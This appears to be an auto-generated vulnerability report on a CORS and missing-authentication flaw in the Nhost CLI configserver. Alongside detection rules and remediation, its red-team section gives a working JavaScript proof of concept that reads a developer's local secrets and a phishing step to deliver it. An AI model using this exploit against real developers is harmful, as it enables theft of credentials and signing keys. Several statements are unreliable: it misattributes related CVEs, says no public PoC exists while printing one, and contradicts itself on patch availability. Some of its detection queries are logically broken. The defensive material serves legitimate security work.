CVE-2026-47671

Executive Summary

Business Impact: This vulnerability directly impacts developers using the Nhost local development environment (nhost dev). An attacker who can induce a developer to visit a malicious web page, or who has local network access to the developer's machine, can exfiltrate sensitive project secrets (admin secrets, JWT signing keys, webhook secrets, Grafana credentials, custom environment variables) and write attacker-controlled secrets to the local .secrets file. This compromises the integrity of the local development project and could lead to supply-chain attacks if malicious secrets are later promoted to production.

Vulnerability Class & Attack Vector: This is a Missing Authentication for Critical Function (CWE-306) vulnerability. The attack vector is Network (AV:N) but requires User Interaction (UI:R) — specifically, the developer must be running nhost dev and visit a malicious web page or allow a local process to reach the exposed service. The nhost configserver (used by nhost dev) exposes the Mimir GraphQL API with dummy authorization directives and permissive CORS, allowing cross-origin requests from any domain.

Urgency Assessment: The CVSS score is 5.4 (Medium). The EPSS probability is 0.0%, indicating no observed exploitation in the wild as of the publication date. However, the vulnerability is trivial to exploit once discovered, and the impact on developer trust and project integrity is significant. The lack of a public PoC does not reduce the risk for organizations using Nhost in development workflows.

Key Facts:

• Vendor: Nhost
• Affected Software: Nhost CLI versions prior to 1.46.0
• Patch: Upgrade to Nhost CLI version 1.46.0
• CISA KEV: Not listed.

CVSS Breakdown & Threat Level

Qualitative Severity: Medium

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Metric Decomposition:

• AV:N (Network): The vulnerable service is exposed on localhost but is reachable from any process on the same machine, including a web browser loading a page from an arbitrary origin. This satisfies the network attack vector.
• AC:L (Low): No special attack conditions are required. The attacker simply needs to craft a web page that makes cross-origin requests to the Mimir GraphQL API.
• PR:N (None): The Mimir GraphQL API has dummy authorization directives, meaning no authentication is required to query or mutate data.
• UI:R (Required): The attacker must trick the developer into visiting a malicious web page while nhost dev is running. This is a required user interaction.
• S:U (Unchanged): The compromise is limited to the vulnerable component (the configserver) and does not affect other parts of the system.
• C:L (Low): The attacker can read local Nhost configuration and secrets. While sensitive, this is limited to the local development environment.
• I:L (Low): The attacker can write to the local .secrets file, modifying project secrets. This is a low integrity impact as it only affects the local development project.
• A:N (None): No availability impact.

EPSS Interpretation: An EPSS score of 0.0% means that as of the publication date, there is no evidence of active exploitation in the wild. This is typical for a newly published CVE. The score is likely to increase as the vulnerability details become more widely known.

Historical Comparison: This vulnerability is similar to CVE-2023-44487 (HTTP/2 Rapid Reset) in that it involves a protocol-level weakness (permissive CORS) rather than a memory corruption bug. However, it is more analogous to CVE-2021-44228 (Log4Shell) in its impact on developer trust and supply-chain risk, though the attack vector is significantly less severe.

Temporal & Environmental Considerations: No patch is available for older versions. The only mitigation is upgrading to version 1.46.0. The exploit maturity is currently "Unproven" (no public PoC), but the attack mechanics are straightforward.

Technical Deep Dive & Attack Mechanics

Step-by-Step Exploitation:

1. Pre-condition: A developer is running nhost dev in their local development environment. This starts the nhost configserver, which exposes a Mimir GraphQL API on localhost (typically port 4000 or similar).

2. Attack Initiation: The attacker crafts a malicious web page hosted on an arbitrary domain (e.g., attacker.com). The page contains JavaScript that makes cross-origin requests to http://localhost:[port]/v1/graphql.

3. CORS Bypass: The configserver's Mimir GraphQL API has permissive CORS headers (e.g., Access-Control-Allow-Origin: *). This allows the attacker's JavaScript to read the response from the API, bypassing the Same-Origin Policy.

4. Data Exfiltration: The attacker's JavaScript queries the GraphQL API for local Nhost configuration and secrets. The API has dummy authorization directives, meaning no authentication is required. The attacker can retrieve:

   • Project admin secrets
   • JWT signing keys
   • Webhook secrets
   • Grafana credentials
   • Custom environment variables

5. Data Mutation: The attacker can also send GraphQL mutations to write attacker-controlled secrets to the local .secrets file. This could be used to inject malicious values that might later be promoted to production.

Root Cause Analysis: The developer of the nhost configserver made two critical mistakes:

• Missing Authentication: The Mimir GraphQL API was configured with dummy authorization directives, effectively disabling authentication.
• Permissive CORS: The API was configured to allow cross-origin requests from any origin (Access-Control-Allow-Origin: *), enabling exploitation from a web browser.

Attack Surface:

• Port: The configserver listens on a localhost port (typically 4000 or similar).
• Protocol: HTTP/GraphQL over WebSockets or HTTP POST.
• Interface: localhost only, but reachable from any process on the same machine.

Pre-conditions:

• The developer must be running nhost dev.
• The attacker must be able to induce the developer to visit a malicious web page (e.g., via phishing, social engineering, or a compromised website).
• Alternatively, any process on the developer's machine (e.g., a malicious script) can reach the configserver.

Attack Variants:

• Web-based: The most likely variant, using a malicious web page.
• Local process: A malicious process on the developer's machine (e.g., a compromised npm package) can directly query the API.
• Network-based (if exposed): If the developer's machine is on a shared network and the configserver is bound to 0.0.0.0 (unlikely but possible), other machines on the network could exploit it.

Why Standard Defenses May Fail:

• WAF: A Web Application Firewall cannot protect against requests originating from the developer's own browser.
• Network Segmentation: The configserver is on localhost, which is typically not segmented from the browser.
• Browser Security: The Same-Origin Policy is bypassed by the permissive CORS configuration.

Vulnerable vs. Patched Code Analysis

Vulnerable Code (Conceptual):

// configserver.js (vulnerable)
const express = require('express');
const { graphqlHTTP } = require('express-graphql');
const { buildSchema } = require('graphql');

const schema = buildSchema(`
  type Query {
    secrets: [Secret]
  }
  type Mutation {
    setSecret(name: String!, value: String!): Secret
  }
`);

const app = express();

// Permissive CORS
app.use((req, res, next) => {
  res.header('Access-Control-Allow-Origin', '*');
  res.header('Access-Control-Allow-Headers', 'Content-Type');
  next();
});

// Dummy authorization — no actual check
app.use('/v1/graphql', (req, res, next) => {
  // Authorization header is checked but never validated
  const auth = req.headers.authorization;
  if (!auth) {
    // Dummy: always passes
  }
  next();
});

app.use('/v1/graphql', graphqlHTTP({ schema, graphiql: false }));

Patched Code (Conceptual):

// configserver.js (patched)
const express = require('express');
const { graphqlHTTP } = require('express-graphql');
const { buildSchema } = require('graphql');

const schema = buildSchema(`
  type Query {
    secrets: [Secret]
  }
  type Mutation {
    setSecret(name: String!, value: String!): Secret
  }
`);

const app = express();

// Restrictive CORS — only allow same-origin
app.use((req, res, next) => {
  res.header('Access-Control-Allow-Origin', 'http://localhost:3000'); // Example: only allow the dev UI
  res.header('Access-Control-Allow-Headers', 'Content-Type');
  next();
});

// Proper authorization check
app.use('/v1/graphql', (req, res, next) => {
  const auth = req.headers.authorization;
  if (!auth || !isValidToken(auth)) {
    return res.status(401).json({ error: 'Unauthorized' });
  }
  next();
});

app.use('/v1/graphql', graphqlHTTP({ schema, graphiql: false }));

What the Patch Changes:

1. CORS: The Access-Control-Allow-Origin header is restricted to specific origins (e.g., the local development UI) instead of *.
2. Authorization: The dummy authorization check is replaced with a proper token validation function.

Regression Considerations: The patch may break workflows that relied on the permissive CORS (e.g., custom scripts that directly query the configserver). Developers should update their scripts to include proper authentication tokens.

Timeline & Disclosure History

• CVE Publication Date: 2026-07-21T20:17:01.473
• Estimated Discovery: The vulnerability was likely discovered by internal security testing or a security researcher. The exact discovery date is unknown.
• Disclosure Process: The CVE was published by the NVD. The vendor (Nhost) released version 1.46.0 to fix the issue. The coordination process is not publicly documented.
• Known Exploitation in the Wild: No known active exploitation as of 2026-07-21.
• CISA KEV: Not listed.

Threat Intelligence Context

Threat Actor Profile: This vulnerability is most likely to be exploited by:

• Script Kiddies: The attack is trivial to implement (a simple HTML page with JavaScript).
• Supply Chain Attackers: An attacker could inject malicious secrets into a developer's local environment, which might later be committed to a repository and promoted to production.
• Nation-State Actors: In targeted attacks against organizations using Nhost, this could be used as an initial foothold to compromise developer machines.

Attack Campaign Context: No specific campaigns are known to be using this CVE as of the publication date.

Geographic Targeting: No specific geographic targeting is expected. The vulnerability affects any developer using Nhost CLI globally.

Industry Verticals Most at Risk:

• Software Development: Any organization using Nhost for backend development.
• Startups: Nhost is marketed as a Firebase alternative, popular among startups.
• FinTech/HealthTech: Organizations handling sensitive data that use Nhost for rapid prototyping.

Connection to Similar Vulnerabilities: This is a classic example of a "CORS misconfiguration" vulnerability, which has been exploited in numerous products (e.g., CVE-2020-25627 in Moodle, CVE-2021-27905 in Apache Druid). The missing authentication component is similar to CVE-2023-32784 (Jupyter Notebook).

Exploitation & Lab Setup

Red Team Section

Lab Setup:

1. Environment: A Linux or macOS virtual machine with Docker installed.
2. Software: Nhost CLI version 1.45.0 (vulnerable).
3. Network: The VM should have a web browser installed.

Prerequisites:

• Install Nhost CLI v1.45.0: npm install -g nhost@1.45.0
• Initialize a test project: nhost init
• Start the development environment: nhost dev

Exploitation Walkthrough:

1. Identify the configserver port: Run netstat -tulpn | grep nhost to find the port (e.g., 4000).

2. Craft the malicious HTML page:

   <!DOCTYPE html>
   <html>
   <head>
       <title>Exploit PoC</title>
   </head>
   <body>
       <h1>Exploiting CVE-2026-47671</h1>
       <pre id="output"></pre>
       <script>
           const configserverUrl = 'http://localhost:4000/v1/graphql';
           const query = `
               query {
                   secrets {
                       name
                       value
                   }
               }
           `;
   
           fetch(configserverUrl, {
               method: 'POST',
               headers: { 'Content-Type': 'application/json' },
               body: JSON.stringify({ query })
           })
           .then(response => response.json())
           .then(data => {
               document.getElementById('output').textContent = JSON.stringify(data, null, 2);
           })
           .catch(error => {
               document.getElementById('output').textContent = 'Error: ' + error;
           });
       </script>
   </body>
   </html>
   

3. Serve the page: Use a simple HTTP server (e.g., python3 -m http.server 8080) on the attacker's machine.

4. Induce the victim: Send the link http://attacker.com:8080/exploit.html to the developer (e.g., via phishing email).

5. Expected Output: The page will display the local Nhost secrets, including admin secrets, JWT keys, and environment variables.

Post-Exploitation:

• The attacker can use the exfiltrated secrets to authenticate to the developer's Nhost project.
• The attacker can mutate the .secrets file to inject malicious values, potentially compromising the production environment if the developer promotes the local changes.

Blue Team Section

Detection:

• Network: Monitor for outbound requests from a browser to localhost:4000 (or the configserver port) with a Referer header pointing to an external domain.
• Endpoint: Monitor for unexpected processes making HTTP requests to localhost:4000.
• Logs: The configserver may log requests. Look for requests with an Origin header that is not http://localhost:3000 (or the expected dev UI origin).

Log Entries Indicating Exploitation:

[2026-07-21 12:00:00] POST /v1/graphql from ::1 (localhost) with Origin: http://evil.com
[2026-07-21 12:00:01] Query: { secrets { name value } }

Network Traffic Signatures:

• HTTP POST to /v1/graphql with Origin: * or an unexpected origin.
• Response includes Access-Control-Allow-Origin: *.

Endpoint Behavioral Indicators:

• A browser process making HTTP requests to localhost:4000.
• Unexpected modifications to the .secrets file in the Nhost project directory.

Indicators of Compromise (IOCs)

No confirmed IOCs available — the following patterns are illustrative of exploitation attempts:

Network IOCs:

• HTTP POST requests to /v1/graphql on the configserver port (typically 4000).
• Requests with Origin header set to an external domain (e.g., http://evil.com).
• Responses with Access-Control-Allow-Origin: *.

HTTP Request Patterns:

POST /v1/graphql HTTP/1.1
Host: localhost:4000
Origin: http://evil.com
Content-Type: application/json

{"query":"query { secrets { name value } }"}

File System Artifacts:

• Unexpected modifications to the .secrets file in the Nhost project directory.
• Temporary files created by the browser during the exploit (e.g., cache files).

Process Execution Anomalies:

• A browser process (e.g., Chrome, Firefox) making outbound HTTP requests to localhost:4000.

Log Entries:

• Configserver logs showing requests with unexpected Origin headers.

STIX-like IOC List:

Detection Engineering

YARA Rule

rule CVE-2026-47671_Detection {
    meta:
        description = "Detects exploitation of CVE-2026-47671 in Nhost configserver"
        author = "Valters IT Hub"
        date = "2026-07-21"
        reference = "https://www.valtersit.com/cve/cve-2026-47671"
    strings:
        $graphql_query = "query { secrets { name value } }" ascii wide nocase
        $graphql_mutation = "mutation { setSecret" ascii wide nocase
        $cors_header = "Access-Control-Allow-Origin: *" ascii wide nocase
    condition:
        any of ($graphql_query, $graphql_mutation) and $cors_header
}

Sigma Rule (SIEM)

title: CVE-2026-47671 Nhost Configserver Exploitation Detection
id: c6ddc958-5401-4a92-bedd-09363648b659
status: experimental
description: Detects exploitation attempts targeting CVE-2026-47671 in Nhost configserver
author: Valters IT Hub
date: 2026-07-21
references:
    - https://www.valtersit.com/cve/cve-2026-47671
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/v1/graphql'
        cs-host: 'localhost'
        sc-status: 200
    filter:
        cs-origin: 'http://localhost:3000'
    condition: selection and not filter
falsepositives:
    - Legitimate requests from the Nhost development UI
level: high

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-47671 Nhost Configserver Exploitation"; flow:to_server; http.method; content:"POST"; http.uri; content:"/v1/graphql"; http.host; content:"localhost"; http.request_header; content:"Origin"; nocase; pcre:"/Origin:\s*(?!http:\/\/localhost:3000)/"; sid:1000001; rev:1;)

Elastic (EQL) Query

network where process.name == "chrome" or process.name == "firefox" and
  destination.ip == "127.0.0.1" and
  destination.port == 4000 and
  http.request.method == "POST" and
  http.request.body.content : "*secrets*"

Splunk SPL Query

index=web sourcetype=access_combined
| search uri="/v1/graphql" host="localhost" method=POST
| eval origin=if(match(uri, "Origin"), "suspicious", "normal")
| search origin="suspicious"
| table _time, clientip, uri, referer, origin

Wazuh Rule

<rule id="100001" level="10">
  <if_group>web|accesslog</if_group>
  <field name="url">/v1/graphql</field>
  <field name="host">localhost</field>
  <field name="method">POST</field>
  <field name="origin" type="pcre2">^(?!http://localhost:3000).*$</field>
  <description>CVE-2026-47671 - Nhost Configserver Exploitation Attempt</description>
  <options>no_full_log</options>
  <group>cve_2026_47671,nhost,exploitation,</group>
</rule>

Remediation & Mitigation

Immediate Actions (0-24 hours)

1. Upgrade Nhost CLI: Run npm install -g nhost@1.46.0 to upgrade to the patched version.
2. Verify Upgrade: Run nhost version and confirm the version is 1.46.0 or later.
3. Network-Level Mitigation (if upgrade is not possible):
   • Block outbound requests from browsers to localhost:4000 using a host-based firewall (e.g., iptables -A OUTPUT -p tcp --dport 4000 -j DROP).
   • Use a browser extension to block cross-origin requests to localhost.
4. Authentication/Authorization Hardening:
   • If you cannot upgrade, ensure that the configserver is not accessible from any process other than the Nhost CLI itself. This is difficult to enforce, but you can use a local firewall to restrict access to the configserver port to only the Nhost process.

Short-term (1-7 days)

1. Configuration Hardening:
   • Review the .secrets file for any unexpected entries.
   • Rotate any secrets that may have been exposed (admin secrets, JWT keys, webhook secrets, Grafana credentials).
2. Monitoring Implementation:
   • Deploy the detection rules provided in this report to monitor for exploitation attempts.
   • Enable logging on the configserver (if possible) to capture all requests.
3. Vulnerability Scanning:
   • Run nhost version to confirm the patch is applied.
   • Use a script to check if the configserver is vulnerable by making a test request.

Long-term

1. Architecture Changes:
   • Consider running the development environment in a containerized environment (e.g., Docker) with strict network policies.
   • Use a reverse proxy (e.g., Nginx) in front of the configserver to enforce authentication and CORS policies.
2. Security Control Improvements:
   • Implement a Content Security Policy (CSP) that restricts connections to localhost.
   • Use a browser extension that blocks cross-origin requests to localhost.
3. Developer Training:
   • Educate developers about the risks of running development servers with permissive CORS and missing authentication.
   • Encourage developers to use isolated environments (e.g., VMs, containers) for development.

Validation

To confirm the patch was applied and you are no longer vulnerable:

1. Run nhost version and verify the version is 1.46.0 or later.
2. Attempt to make a cross-origin request to the configserver from a browser. If the request is blocked (e.g., due to CORS), the patch is effective.
3. Check the configserver logs for any unauthorized requests.

References & Resources

• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-47671
• CVE.org: https://www.cve.org/CVERecord?id=CVE-2026-47671
• Vendor advisory: See Nhost security page or GitHub releases for version 1.46.0
• OSV: https://osv.dev/vulnerability/CVE-2026-47671 (if applicable)
• Related CWE: https://cwe.mitre.org/data/definitions/306.html
• MITRE ATT&CK: https://attack.mitre.org/techniques/T1190/

Report generated by Valters IT Hub Neural Engine v25 | 2026-07-21 | https://www.valtersit.com/cve/cve-2026-47671